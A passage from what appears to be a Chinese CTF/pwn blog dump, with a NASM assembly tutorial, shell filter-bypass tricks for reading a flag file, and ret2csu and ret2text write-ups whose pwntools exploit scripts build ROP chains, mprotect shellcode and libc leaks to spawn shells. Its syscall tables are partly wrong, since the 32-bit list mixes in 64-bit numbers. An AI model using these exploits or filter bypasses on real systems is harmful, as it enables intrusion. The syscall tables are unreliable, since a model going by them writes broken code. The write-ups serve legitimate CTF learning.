文件中找到。\n\n\n\n系统调用\n调用号\n描述\n\n\n\nexit\n1\n退出\n\n\nopen\n5\n打开文件\n\n\nread\n3\n读取文件\n\n\nwrite\n4\n写入文件\n\n\nclose\n6\n关闭文件\n\n\nlseek\n19\n移动文件指针\n\n\nexit\n1\n退出进程\n\n\nfork\n2\n创建子进程\n\n\nexecve\n11\n执行程序\n\n\nwaitpid\n7\n等待子进程结束\n\n\nbrk\n12\n改变数据段的末尾\n\n\nmmap\n9\n映射文件或设备到内存\n\n\nioctl\n16\n控制设备\n\n\nsocket\n359\n创建套接字\n\n\nbind\n361\n绑定套接字到地址\n\n\nlisten\n50\n监听套接字\n\n\naccept\n43\n接受连接\n\n\nconnect\n42\n连接到套接字\n\n\nmount\n165\n挂载文件系统\n\n\nunmount\n166\n卸载文件系统\n\n\n64位\nrax用于存储系统调用号。系统调用的参数通过rdi、rsi、rdx、rcx、r8、r9寄存器传递。\n\n\n\n系统调用\n调用号\n描述\n\n\n\nopen\n2\n打开文件\n\n\nread\n0\n读取文件\n\n\nwrite\n1\n写入文件\n\n\nclose\n3\n关闭文件\n\n\nlseek\n8\n移动文件指针\n\n\nexit\n60\n退出进程\n\n\nfork\n57\n创建子进程\n\n\nexecve\n59\n执行程序\n\n\nwaitpid\n7\n等待子进程结束\n\n\nbrk\n12\n改变数据段的末尾\n\n\nmmap\n9\n映射文件或设备到内存\n\n\nioctl\n16\n控制设备\n\n\nsocket\n41\n创建套接字\n\n\nbind\n49\n绑定套接字到地址\n\n\nlisten\n50\n监听套接字\n\n\naccept\n43\n接受连接\n\n\nconnect\n42\n连接到套接字\n\n\nmount\n165\n挂载文件系统\n\n\nunmount\n166\n卸载文件系统\n\n\n内存模型与寻址模式I/O操作:包括标准输入/输出、磁盘读写等基本操作的汇编实现。宏定义、模块化编程在 NASM 汇编语言中,模块化编程是指将程序分解成多个模块,以便更好地组织和管理代码。模块化编程的主要优点包括代码重用、简化复杂性以及提高维护性。以下是关于 NASM 模块化编程的详细说明:\n模块化编程的基本概念\n模块化编程涉及将程序分成多个逻辑模块或单元,每个模块实现特定的功能。每个模块可以独立开发、测试和调试。模块间通过接口进行交互,模块的实现对其他模块是透明的。\n使用 NASM 实现模块化\n在 NASM 中,模块化编程通常涉及以下几个步骤:\n 创建模块\n每个模块通常包含数据部分和代码部分。模块可以被放在不同的文件中,并在主程序中引用。\n**模块示例 (module.asm)**:\nsection .datamsg db "Hello from module!", 0Ahsection .textglobal print_messageprint_message: ; 使用 sys_write 打印消息 mov rax, 1 ; sys_write mov rdi, 1 ; 文件描述符: stdout mov rsi, msg ; 消息地址 mov rdx, 17 ; 消息长度 syscall ret\n\n 主程序文件\n主程序文件引用其他模块,并调用模块中定义的函数。\n**主程序示例 (main.asm)**:\nsection .textextern print_message ; 声明外部函数global _start_start: call print_message ; 调用模块中的函数 ; 退出程序 mov rax, 60 ; sys_exit xor rdi, rdi ; 退出码: 0 syscall\n\n 编译和链接\n将各个模块编译成目标文件,并链接成最终的可执行文件。\n编译和链接命令:\nnasm -f elf64 module.asm -o module.onasm -f elf64 main.asm -o main.old module.o main.o -o program\n宏定义在 NASM(Netwide Assembler)中,宏(Macro)是一种强大的功能,可以简化汇编代码的编写和维护。宏允许你定义代码块,并在需要时插入到源代码中。它们类似于其他编程语言中的函数或宏,但主要用于生成汇编代码。以下是 NASM 宏定义的详细解释。\n宏的基本概念\n宏是由一段代码组成的模板,你可以在源代码的多个位置插入这段模板,并用实际参数替换宏中的占位符。宏定义的主要目的是代码重用和简化复杂的汇编程序。\n宏的定义\n在 NASM 中,宏通过 %macro 指令定义。宏定义包括宏名称、参数和宏体。使用宏时,NASM 会用实际参数替换宏体中的占位符。\n 宏定义的语法\n%macro macro_name num_params ; 宏体%endmacro\n\n\nmacro_name 是宏的名称。\nnum_params 是宏的参数数量。\n\n 宏体\n宏体是实际要插入到代码中的内容,可以包含宏参数。宏参数用 %%1, %%2 等表示(对于第一个、第二个参数)。\n宏的使用\n宏在定义之后可以在代码中调用,每次调用都会插入宏体并用实际参数替换占位符。\n 宏调用的语法\nmacro_name arg1, arg2, ...\n\n宏的示例\n 简单宏\n定义一个简单的宏来生成打印字符串的代码:\n%macro PRINT_STR 2 mov rax, 1 ; sys_write mov rdi, 1 ; 文件描述符: stdout mov rsi, %1 ; 消息地址 mov rdx, %2 ; 消息长度 syscall%endmacro\n\n使用宏:\nsection .datamsg db "Hello, World!", 0x0Amsg_len equ $ - msgsection .textglobal _start_start: PRINT_STR msg, msg_len ; 退出程序 mov rax, 60 ; sys_exit xor rdi, rdi ; 退出码: 0 syscall\n\n 带默认值的宏\n定义一个宏,使用默认参数:\n%macro PRINT 1 mov rax, 1 mov rdi, 1 mov rsi, %1 mov rdx, $ - %1 syscall%endmacro\n\n使用宏:\nsection .datamsg db "Hello, World!", 0x0Asection .textglobal _start_start: PRINT msg ; 退出程序 mov rax, 60 xor rdi, rdi syscall\n\n宏参数\n宏可以有多个参数,你可以用参数来生成不同的代码块:\n%macro MOV_REG 2 mov %1, %2%endmacro\n\n使用宏:\nsection .textglobal _start_start: MOV_REG rax, 5 ; mov rax, 5 MOV_REG rbx, rax ; mov rbx, rax ; 退出程序 mov rax, 60 xor rdi, rdi syscall\n\n条件宏\n你可以使用条件编译来定义条件性的宏代码:\n%macro DEBUG 1%if %1 ; 只有在参数为真时编译这段代码 mov rax, 1 mov rdi, 1 mov rsi, msg mov rdx, msg_len syscall%endif%endmacro\n\n使用条件宏:\nsection .datamsg db "Debug Mode", 0x0Amsg_len equ $ - msgsection .textglobal _start_start: DEBUG 1 ; 激活调试模式 ; 退出程序 mov rax, 60 xor rdi, rdi syscall\n\n\n调试困难:宏的展开可能导致调试困难,因为宏体在编译时被插入到代码中,可能不容易追踪。\n代码膨胀:过度使用宏可能导致代码膨胀,因为每个宏调用都会展开成实际的代码。\n\n程序开发第一个程序\nHello world!\n\n接下来我们通过永不过期的经典程序来了解如何初步开发汇编程序。\n32位\n;定义数据段,用于存放程序中的静态数据。section .datamsg db "hello world",0Ah;定义代码段,用于存放程序的指令section .textglobal _start;程序的入口点_start: mov edx,13 mov ecx,msg mov ebx,1 mov eax,4 int 80h mov ebx,0 mov eax,1 int 80h\n\n64位\nsection .datamsg db "hello world",0Ahsection .textglobal _start_start: mov rdi,1 mov rsi,msg mov rdx,13 mov rax,1 syscall mov rdi,0 mov rax,60 syscall\n\n计算字符串长度\n\n\n计算器\n\n子程序\n\n外部包含文件外部包含文件允许我们从程序中移动代码并将其放入单独的文件中。这种技术对于编写干净、易于维护的程序很有用。可重用的代码位可以编写为子程序,并存储在称为库的单独文件中。当您需要一段逻辑时,您可以将该文件包含在您的程序中,并像使用它们属于同一文件一样使用它。\nNULL 终止字节\n在编程中,0h 表示一个空字节,字符串后面的空字节告诉程序集它在内存中结束的位置。\n\n%include "functions.asm"section .datamsg1 db "hello world!",0Ah,0hmsg2 db "This is how we recycle in NASM",0Ah,0hsection .textglobal _start_start: mov eax,msg1 call sprint mov eax,msg2 call sprint call quit\n\n\n换行符\n\n传递参数\n\n用户输入\n\n数到 10名称空间\n\n嘶嘶声执行命令\n\n处理分叉报时文件处理\n\n套接字\n\n下载网页\n\n后言\n参考链接:NASM 汇编语言教程 参考书籍:《x86汇编语言:从实模式到保护模式》\n\n","categories":["编程"],"tags":["汇编"]},{"title":"BROP","url":"/2024/10/24/pwn/brop/","content":"","categories":["pwn"],"tags":["ROP"]},{"title":"nc绕过","url":"/2024/10/25/pwn/nc-bypass/","content":"cat $flag\n“”切割cat$ IFS $代表空格f*,所有开头文件\nca ""t$IFS$f*\n\n检测输入的命令中是否有“cat”、“flag”、“sh”、“$0”,如果包含就报错。\ntac fla*>&2\n\n当程序关闭输入流时,可以把输出流重定向到其它地方输出,比如重定向到输入流或者错误输出流都可\n\ntac:反向显示文件内容。tac 读取文件的内容,并以相反的顺序输出每一行。\nfla*:可能是匹配多个文件名的模式,所有匹配 fla* 的文件都会被 tac 处理。\n>&2:将标准输出(stdout)重定向到标准错误(stderr)。\n\n结合在一起,这个命令的意思是:将所有匹配 fla* 的文件内容反向显示,然后将输出内容重定向到标准错误输出。\n通过将文件内容读取到一个变量,然后输出这个变量的内容间接输出文件内容。\nread -r line < flag && echo "$line"\n","categories":["pwn"]},{"title":"整数溢出","url":"/2024/10/24/pwn/integer_overflow/","content":"","categories":["pwn"],"tags":["整数溢出"]},{"title":"SROP","url":"/2024/10/24/pwn/SROP/","content":"","categories":["pwn"],"tags":["ROP"]},{"title":"ret2csu","url":"/2024/10/24/pwn/ret2csu/","content":"原理严格来说,ret2csu 是一种特定的漏洞利用手法,主要存在于 64 位程序中。区别于 32 位程序通过栈传递参数,64 位程序的前六个参数通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9)。这导致在某些情况下,我们无法找到足够多的 gadgets 来逐个控制每个寄存器。\n这时,我们可以利用程序中的 __libc_csu_init (高版本的gcc编译后已经没有了)函数,该函数主要用于初始化 libc,几乎在所有的程序中都会存在。该函数内含一段万能的 gadgets,可以控制多个寄存器(例如 rbx, rbp, r12, r13, r14, r15 以及 rdi, rsi, rdx)的值,并最终 调用指定地址。因此,当我们劫持程序控制流时,可以跳转到 __libc_csu_init 函数,通过这段万能 gadgets 控制程序的行为。\n我们将下面的 gadget 称为 gadget1 优先调用,上面的称为 gadget2 之后调用。\n//gadget2 400710: 4c 89 fa mov rdx, r15 400713: 4c 89 f6 mov rsi, r14 400716: 44 89 ef mov edi, r13d 400719: 41 ff 14 dc call qword ptr [r12 + 8*rbx] 40071d: 48 83 c3 01 add rbx, 0x1 400721: 48 39 dd cmp rbp, rbx 400724: 75 ea jne 0x400710 <__libc_csu_init+0x40>//gadget1 400726: 48 83 c4 08 add rsp, 0x8 40072a: 5b pop rbx 40072b: 5d pop rbp 40072c: 41 5c pop r12 40072e: 41 5d pop r13 400730: 41 5e pop r14 400732: 41 5f pop r15 400734: c3 ret\n\n这样的话\nr13=rdx=arg3r14=rsi=arg2r15=edi=arg1rbx=0r12=call address\n\ncsu模板\ndef csu(addr,edi,rsi,rdx,last):\t#用于溢出的padding\tpayload=off*b'a'\t#gadget1\tpayload+=p64(gadget1)\t#rbx=0,rbp=1\tpayload+=p64(0)+p64(1)\t#设置r12寄存器地址,即call调用的地址\tpayload+=p64(addr)\t#参数3、参数2、参数1\t#r13、r14、r15\tpayload+=p64(rdx)+p64(rsi)+p64(edi)\t#gadget2\tpayload+=p64(gadget2)\t#pop出的padding\tpayload+=b'a'*56\t#函数最后的返回地址 \tpayload+=p64(last)\treturn payload\n\n对csu模板的使用要分清情况\n末尾的padding('a'*56)是我们在没有进行jne跳转,程序向下执行到add rsp,0x8的时候这些需要进行栈平衡的数据。\n如果我们只需要调用一个函数就不需要添加后面的padding和last,如果我们还需要调用一个地址就需要添加。\n例题[NewStarCTF 公开赛赛道]ret2csu1#ret2syscall \n\n查保护\n\n拿到程序,先查保护。\n发现开启了NX保护和Partial RELRO保护。\n\n\nida分析\n\n\n输出两串字符串,并向栈中写入0x70长度的数据。\n根据栈宽度比较,判断存在栈溢出。\ngdb测一下,判断溢出填充长度为40。\n\n字符串列表,发现/bin/cat和/flag关键字符串,但并没有发现system函数\n\n函数窗口发现关键函数ohMyBackdoor,判断可能为后门函数。\n\n发现关键汇编指令syscall,以及设置rax值为0x3b的mov rax,0x3b指令。\n\n\n利用思路\n\n根据题目名称中的ret2csu判断为ret2csu打法,并且判断是通过ret2csu打syscall。\n我们需要通过执行libc_csu_init函数来设置寄存器值,并不需要函数执行完毕,所以我们不需要从add rsp,8开始执行。\n通过libc_csu_init函数设置寄存器值,并且触发中断。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfoff=40gadget1=0x40072agadget2=0x400710syscall=0x601068cat=0x4007bbflag=0x601050payload=b'a'*offpayload+=p64(gadget1)+p64(0)+p64(0)+p64(syscall)+p64(cat)+p64(flag)+p64(0)payload+=p64(gadget2)sa("it!\\n",payload)ia()\n\n[HNCTF 2022 WEEK2]ret2csu#ret2libc \n\n查保护\n\n没有栈溢出和PIE保护。\n\n分析程序\n\n发现vuln函数,进入查看\nread函数向buf输入0x200个字节的数据,而buf为256字节,判断存在栈溢出。\n\n\n利用思路\n\n\n利用csu通过write函数泄露write的真实地址->泄露libc->获得system的真实地址\n调用system\n\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()set_remote_libc('libc.so.6')io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc.so.6")gadget1=0x4012aagadget2=0x401290off=264write=elf.got.writepop_rdi=0x00000000004012b3ret=0x000000000040101adef csu(rdi, rsi, rdx,r15, rbx=0, rbp=1,last=elf.sym.vuln): payload = p64(gadget1) payload += p64(rbx) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(r15) payload += p64(gadget2) payload += b'a'*56 payload += p64(last) return payloadr()payload=b'a'*off+csu(rdi=1,rsi=write,rdx=0x20,r15=write)sl(payload)ru(b'Ok.\\n')addr=u64(r(6).ljust(8,b'\\x00'))print("write:",hex(addr))base=addr-libc.sym.writesys=libc.sym.system+basesh=next(libc.search(b'/bin/sh\\x00'))+basepayload=b'a'*off+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys)sla("Input:\\n",payload)ia()\n\n\n\n\n[NewStarCTF 公开赛赛道]ret2csu2#ret2shellcode \n\n查保护\n\n发现没有栈溢出和PIE保护。\n\n\n分析\n\n两次输出,一次输入。输入长度超过缓冲区大小,判断存在栈溢出。\n\n函数窗口发现关键函数\n\n进入查看,发现mprotect。\n\n格式化字符串窗口每发现什么有用的东西。\n\n\n利用思路\n\n根据题目名称,是要我们打csu,而且存在mprotect函数,所以到这里思路已经很明显了。\n通过read函数读取rop链到bss段,之后将栈迁移到bss段执行rop链。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()# bss = 0x601020first_ebp=0x601020 + 0xf0# lea rsi, [rbp - 0xf0] first_ret=0x4006E7#通过上述lea指令设置rsi值为bss段地址,并且再次执行read函数将rop链写入bss段payload = b"a"*(0xf0) + p64(first_ebp) + p64(first_ret)ru("Remember to check it!")s(payload)mprotect_got=elf.got.mprotectleave_ret=0x400681gadget1=0x40075Agadget2=0x400740#通过csu修改bss段内存权限为可读可写可执行payload2=p64(gadget1)+p64(0)+p64(1)+ p64(mprotect_got)+p64(0x601000)+p64(0x1000)+p64(0x7)+ p64(gadget2)# asm(shellcraft.sh())长度为0x30shellcode = asm(shellcraft.sh())#0x40为mrpotect的rop链的长度,0x38为a的长度,0x8为填充地址的长度,目的是返回到shellcodepayload2 += b"a"*(0x38) + p64(0x601020+0x40+0x38+0x8) + shellcode + b"A"*(0xf0-0x40-0x38-0x8-0x30) + p64(0x601020-0x8) + p64(leave_ret)sl(payload2)ia()\n","categories":["pwn"],"tags":["ROP"]},{"title":"ret2dlresolve","url":"/2024/10/24/pwn/ret2dlresolve/","content":"","categories":["pwn"],"tags":["ROP"]},{"title":"ret2libc","url":"/2024/10/24/pwn/ret2libc/","content":"ciscn_2019_c_1\n铁人三项(第五赛区) _ 2018_rop\n[CISCN 2019东北]PWN2#ret2libc #LibcSearcher\n[2021 鹤城杯]littleof#A #ret2libc #canary #LibcSearcher\n [LitCTF 2023]狠狠的溢出涅~#ret2libc #字符串截断\n[SWPUCTF 2023 秋季新生赛]神奇的strlen#A #ret2libc #栈对齐 #泄露libc #字符串截断\n","categories":["pwn"],"tags":["ROP"]},{"title":"ret2text","url":"/2024/10/24/pwn/ret2text/","content":"\nret2text,即通过控制程序执行流执行程序本身已有的代码(.text段),是一种较为广义的描述。在这种攻击方法中,攻击者可以控制程序执行若干不相邻的代码段(即gadgets),这就是我们常说的ROP(Return-Oriented Programming)。\n\n32位程序和64位程序在 pwn 中的差别主要体现在调用约定的不同。\n调用约定定义了函数调用时参数的传递方式、返回值的传递方式以及调用者和被调用者之间的栈管理。\n函数使用什么样的调用约定则由操作系统和编译器决定。\nx86原理Linux 系统32位程序 gcc 编译器使用 cdecl 调用约定。\ncdecl\n\n参数传递:\n参数从右到左压入栈。\n\n\n返回值\n返回值通常存放在EAX寄存器中。\n\n\n栈清理\n调用者负责清理栈。\n\n\n\n32位程序利用堆栈传参,每调用一个函数都会创建一个函数的栈帧用于存放参数和局部变量。\n下面我们通过一个例子进行讲解\n下面的是伪代码\nvoid bin(){\tsystem("/bin/sh");}int fun(int a){\tchar buf[36]={0};\tint num;\tgets(buf);\tnum=a+buf[0];\treturn num;}int main(){\tfun(1);\tprintf("hello world");\treturn 0;}\n\n在下图中黄色的是缓冲区用于存储局部变量和数组。\n蓝色的是创建栈帧前的ebp,红色是函数返回地址,绿色是参数。\n在fun函数中我们定义了一个36字节的数组和一个四字节的变量。\n在下图中我们可以很清楚看到这一点。\n缓冲区溢出就是向局部变量写入数据的时候没有限制写入长度产生溢出覆盖ebp和返回地址。\n比如通过一个gets函数向buf数组写入48字节就可以覆盖ebp和返回地址。\n原返回地址是返回到printf,但是我们可以将返回地址覆盖为指定地址。比如代码段中存在的system函数地址。\n这样当fun执行完返回的时候就会返回到system函数执行。\n\n由于32位程序直接使用堆栈传参,所以可以直接利用堆栈构造payload。\n32位程序中内存以四字节对齐,所以ebp和返回地址都是4字节,所以溢出8字节就可以覆盖返回地址达到ret2text的目的。\n前提是溢出的长度足够构造payload。\npayload='a'*(36+4+4)+p32(system地址)\n\n这种情况是代码段直接存在后门函数(system)的情况,我们还会碰到代码段有system函数但是没有/bin/sh字符串的情况。\n这就要我们利用堆栈传参的原理来构造 payload 了。\n\n如果这些你听不懂,最好去看一下滴水的汇编课程。滴水逆向\n\nx64原理Linux 系统64位程序 gcc 使用fastcall调用约定。\nfastcall\n\n参数传递:\n前六个整数或指针参数通过寄存器RDI、RSI、RDX、RCX、R8、R9传递。\n前八个浮点参数通过XMM0到XMM7传递。\n其他参数通过栈传递,从右到左的顺序。\n\n\n栈对齐: 调用时栈指针(RSP)必须是16字节对齐的。\n返回值\n值在RAX寄存器中返回。\n浮点返回值在XMM0寄存器中返回。\n\n\n调用者清理栈\n栈上参数由调用者负责清理。\n\n\n\n因为 fastcall 使用寄存器优先传参,所以构造 payload 必须通过 gadget 来构造。\n这里我们先介绍一下什么是gadget。\ngadget就是程序中一系列可以执行有用操作的指令序列(即gadgets),并将这些指令序列的地址链起来形成一个“ROP链”。每个gadgets通常以一个返回指令(ret)结束,这样攻击者可以控制程序的执行流,将控制权从一个gadget转移到下一个gadget。\n我们一般通过 ROPgadget 工具进行搜索程序中的gadget\n\nROPgadget工具使用请阅读这篇文章:https://blog.csdn.net/weixin_45556441/article/details/114631043\n\n如下图,每一行汇编代码都是示例程序中的gadget。\n每一行gadget用于实现特定的功能,后面通过一个ret指令返回。\n我们可以通过ret指令将每个gadget串成一个ROP链。\n在 ret2text 中对我们最重要的gadget就是影响传参寄存器的和ret的。\n➜ ROPgadget --binary ./gift_pwn --only "pop|ret"Gadgets information============================================================0x000000000040066c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040066e : pop r13 ; pop r14 ; pop r15 ; ret0x0000000000400670 : pop r14 ; pop r15 ; ret0x0000000000400672 : pop r15 ; ret0x000000000040066b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040066f : pop rbp ; pop r14 ; pop r15 ; ret0x0000000000400520 : pop rbp ; ret0x0000000000400673 : pop rdi ; ret0x0000000000400671 : pop rsi ; pop r15 ; ret0x000000000040066d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000400451 : ret\n\n下面我们通过一个例子进行讲解\n很明显可以看到gets没有限制输入长度,存在栈溢出。\n并且程序中存在/bin/sh字符串和system函数,我们可以通过构造 payload 将/bin/sh的字符串pop进rdi寄存器再执行system函数来获取shell。\n而这就需要pop rdi的gadget。\n\n字符串常量在elf文件中存放在只读数据段\n\nvoid fun(){ system("pwd"); }int main(){ int buf[12]={0}; gets(buf); printf("/bin/sh"); }\n\n所以我们需要根据ROPgadget搜索到程序中pop rdi的gadget。\n然后通过system函数地址和/bin/sh字符串地址构造 payload。\npayload\npaylaod='a'*(12+8)+p64(pop_rdi)+p64(/bin/sh地址)+p64(ret地址)+p64(system地址)\n\n为了栈平衡我们加上一个ret指令地址。\n接下来我们介绍一下栈平衡。\n栈平衡\n栈平衡:栈平衡是指在 pwn 漏洞利用中,为了保证 payload 的字节数是16的倍数,需要对栈进行平衡;而在32位 pwn 漏洞利用中,没有这个机制,仅在64位中存在。 glibc2.27 以后引入 XMM 寄存器,用于记录程序状态。主要出现在 Ubuntu 18:04 及以后的版本,需要考虑栈平衡(栈对齐)\n\n需要栈平衡的主要原因在于:\n\n在调用 system() 函数时,会进入do_system执行一个movaps指令对XMM寄存器进行操作,movaps 指令要求 RSP 按16字节对齐,即:RSP中地址的最低四位必须为0,直观地说,就是该地址必须以数字 0 结尾。\n\n如何解决堆栈平衡问题? \n\n可以通过在进入 system() 函数之前增加一个 ret 指令来解决(常用),或者也可以在 system() 函数中不执行第一条 push rbp 操作来解决\n\n为什么加的是ret指令?\n\n由于在 system() 函数之前加入了一个新地址,栈顶被迫下移 8 个字节,使之对齐 16 字节,满足 movaps 指令对 XMM 寄存器进行操作的条件;同时,由于插入的地址指向了 ret 指令,程序仍然可以顺利地进入 system("/bin/sh") 中,不会改变程序执行流程。\n\n接下来讲一下我在做题中碰到的几种ret2text情况和利用技巧吧。\nret2text的几种情况和技巧调用其它shell函数\n例题:[SWPUCTF 2022 新生赛]有手就行的栈溢出\n\n查保护\n发现没有栈溢出保护和PIE保护\n➜ checksec ./pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)\n\n\n分析\n发现疑似关键函数overflow,进入查看。\nint __fastcall main(int argc, const char **argv, const char **envp){ init(argc, argv, envp); puts("Do you know how stack overflows驴"); overflow(); return 0;}\n\n查看发现危险函数gets函数,向缓冲区写入内容。\ngets函数写入内容没有限制,所以存在栈溢出,而且溢出长度无限制。\n接下来寻找system函数和/bin/sh字符串。\n__int64 overflow(){ char v1[32]; // [rsp+0h] [rbp-20h] BYREF gets(v1); return 0LL;}\n\n在代码段的gift函数中发现了关键字符串\n\n__int64 gift(){ puts("Are you kidding?"); puts("system('/bin/sh')"); return 0LL;}\n\n其中存在sh类字符串,接下来寻找system函数。\n函数窗口没有发现system函数,但是在fun函数中发现了execve函数。\n\n注:system函数底层是调用execve实现的\n\nexecve的第一个参数是执行程序的路径,第二个参数是程序的参数数组,第三个参数是新程序的环境变量数组。\n而下面我们要执行/bin/sh程序,函数中已经设置好了,我们不需要传什么参数以及环境变量,所以其它参数置0即可。\n所以我们可以通过执行下面这个函数获取shell。\nint fun(){ char *argv[2]; // [rsp+0h] [rbp-10h] BYREF argv[0] = "/bin/sh"; argv[1] = 0LL; return execve("/bin/sh", argv, 0LL);}\n\n\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfoff=40#通过程序符号表获取fun函数地址fun=elf.sym.funpayload=b'a'*off+p64(fun)r()sl(payload)ia()\n\n\n数据段的字符串中存在sh字符\n例题:[FSCTF 2023]rdi\n\n即程序不存在/bin/sh字符串,但是sh字符串也可以获取 shell。\n因为Linux中,/bin/sh是二进制程序,而sh是环境变量,相当于执行/bin/sh。\n查保护\nchecksec 查保护,发现为 64 位程序,没有栈溢出和地址随机化保护。\nArch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)\n\n分析\n发现关键函数read,向栈中输入了0xa0即160个字节的数据,判断存在栈溢出。\n缓冲区长度为128,即溢出长度为0xa0减去128则为32。\n溢出32字节。\n接下来寻找system函数和关键字符串。\nint __fastcall main(int argc, const char **argv, const char **envp){ char buf[128]; // [rsp+10h] [rbp-80h] BYREF init(argc, argv, envp); info(); read(0, buf, 0xA0uLL); return 0;}\n\n进入info函数查看\n在字符串中发现关键字符串sh,可以通过sh执行system函数获取shell。\n我们可以通过字符串基址加上sh字符串在字符串中的偏移来作为sh字符串的地址。\nint info(){ puts("this time there won't be sh;"); return puts("ready for your answer:");}\n\n\n更方便的是通过ROPgadget我们可以直接获取sh字符串的地址\n➜ ROPgadget --binary ./rdi --string "sh"Strings information============================================================0x000000000040080d : sh\n\n所以接下来只需要寻找system函数和用于传参的gadget。\n函数窗口发现sytem函数,system函数在plt表。\n\n这里只需要知道调用plt表就是调用函数\n\n\n通过ROPgadget获取gadget\n找到我们需要的pop_rdi和ret了。\n➜ ROPgadget --binary ./rdi --only "pop|ret"Gadgets information============================================================0x00000000004007cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004007ce : pop r13 ; pop r14 ; pop r15 ; ret0x00000000004007d0 : pop r14 ; pop r15 ; ret0x00000000004007d2 : pop r15 ; ret0x00000000004007cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004007cf : pop rbp ; pop r14 ; pop r15 ; ret0x0000000000400608 : pop rbp ; ret0x00000000004007d3 : pop rdi ; ret0x00000000004007d1 : pop rsi ; pop r15 ; ret0x00000000004007cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000400546 : retUnique gadgets found: 11\n\n接下来根据利用思路构造exp。\n我们要覆盖掉rbp所需要的数据填充长度为136即缓冲区长度加8字节。\n于是接下来我们还能溢出24字节。\n但是传参、ret平栈以及调用函数共需要32字节。\n所以就无法这样利用,我们可以通过执行call system指令即不执行push rbp指令来进行平栈。\n这样就可以满足溢出长度要求。\n获取call system指令地址\n.text:00000000004006FB call _system\n\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfsys=0x0000000004006FBsh=0x000000000040080drdi=0x00000000004007d3ret=0x0000000000400546payload=b'a'*136+p64(rdi)+p64(sh)+p64(sys)r()sl(payload)ia()\n\n执行拿到shell\n[DEBUG] Received 0x10 bytes: b'exp_cli.py rdi\\n'exp_cli.py rdi$\n\n\n程序中没有sh字符利用可写函数向可写段写入/bin/sh例题\n\n[HNCTF 2022 Week1]ezr0p32\n\n查保护\nchecksec查保护,发现为32位程序,没有栈溢出和地址随机化保护。\nArch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)\n\n分析\nint __cdecl main(int argc, const char **argv, const char **envp){ init_func(); dofunc(); return 0;}\n\n\n进入dofunc函数查看\nint dofunc(){ char buf[28]; // [esp+Ch] [ebp-1Ch] BYREF system("echo welcome to xzctf,have a fan time\\n"); puts("please tell me your name"); read(0, &::buf, 0x100u); puts("now it's your play time~"); read(0, buf, 0x30u); return 0;}\n\n发现调用system函数执行echo命令输入一串字符。\nputs输出字符,并调用read函数读入内容到buf。\n这里的buf是bss段变量。\n.bss:0804A080 public buf.bss:0804A080 buf db ? ; ; DATA XREF: dofunc+2E↑o.bss:0804A081 db ? ;.bss:0804A082 db ? ;.bss:0804A083 db ? ;.bss:0804A084 db ? ;.bss:0804A085 db ? ;.bss:0804A086 db ? ;.bss:0804A087 db ? ;.bss:0804A088 db ? ;.bss:0804A089 db ? ;.bss:0804A08A db ? ;\n\n接下来又用puts函数输出一串字符。\n并且又调用read函数读入内容到buf,这里的buf是局部变量。\nread函数限制读入0x30个字符,而变量长度为28。判断存在栈溢出。\n并且前面看到了system函数,则plt表一定存在system函数。\n接下来寻找sh类字符串,即/bin/sh或sh。\n通过ROPgadget可以搜索程序字符串。\n没发现有sh类字符串。\n➜ ROPgadget --binary ./ezr0p --string "sh"Strings information============================================================\n\n但是上面的第一个read函数读入内容到bss段,则我们可以将/bin/sh字符串读入到bss段。\n然后通过第二个read函数进行栈溢出调用system函数。\n根据思路构造exp。\n exp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfr()sl(b"/bin/sh")#sh字符串的地址为bss段的地址sh=0x0804A080payload=b'a'*(28+4)+p32(0x80483d0)+p32(0)+p32(sh)r()sl(payload)ia()\n\n执行exp,拿到shell\n[DEBUG] Sent 0x3 bytes: b'ls\\n'[DEBUG] Received 0x57 bytes: b'exp.py\\t ezr0p ezr0p.id1 ezr0p.nam\\n' b'exp_cli.py ezr0p.id0 ezr0p.id2 ezr0p.til\\n'exp.py ezr0p ezr0p.id1 ezr0p.namexp_cli.py ezr0p.id0 ezr0p.id2 ezr0p.til\n\n机器码获取shellsystem($0)也可以获取shell,$0字节码为\\x24\\x30;\n在没有sh字符串的情况下,我们可以将$0作为sh字符串使用。\n例题\n\n[GFCTF 2021]where_is_shell\n\n查保护\n常规流程checksc查保护,发现程序为64位,并且没有栈溢出和地址随机化保护。\nArch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)\n\n分析\nint __fastcall main(int argc, const char **argv, const char **envp){ char buf[16]; // [rsp+0h] [rbp-10h] BYREF system("echo 'zltt lost his shell, can you find it?'"); read(0, buf, 0x38uLL); return 0;}\n\n输出一串英文字符,中文翻译为:echo ‘zltt 失去了他的shell,你能找到吗?\nmain函数中定义了一个char型数组buff,长度为16;\nread函数从标准输入中读取0x38个字节的数据输入到 buf 数组。\n计算溢出40个字节。\n接下来寻找system函数\n函数窗口中发现system函数,在plt表中。\n也可以通过字符串窗口查找\n\n拿到system函数的地址:0x400430\n接下来需要寻找/bin/sh字符串\nida字符串表,ROPgadget搜索。。。。。。都找不到\n之后查大佬的wp,发现了这个思路。\n$0也可以作为/bin/sh字符串使用获取一个shell。\n$0的字节码为/x24/x30。\n我们可以直接通过 objdump 查找\n➜ objdump -d -M intel ./shell | grep 24 400540: e8 24 30 00 00 call 0x403569 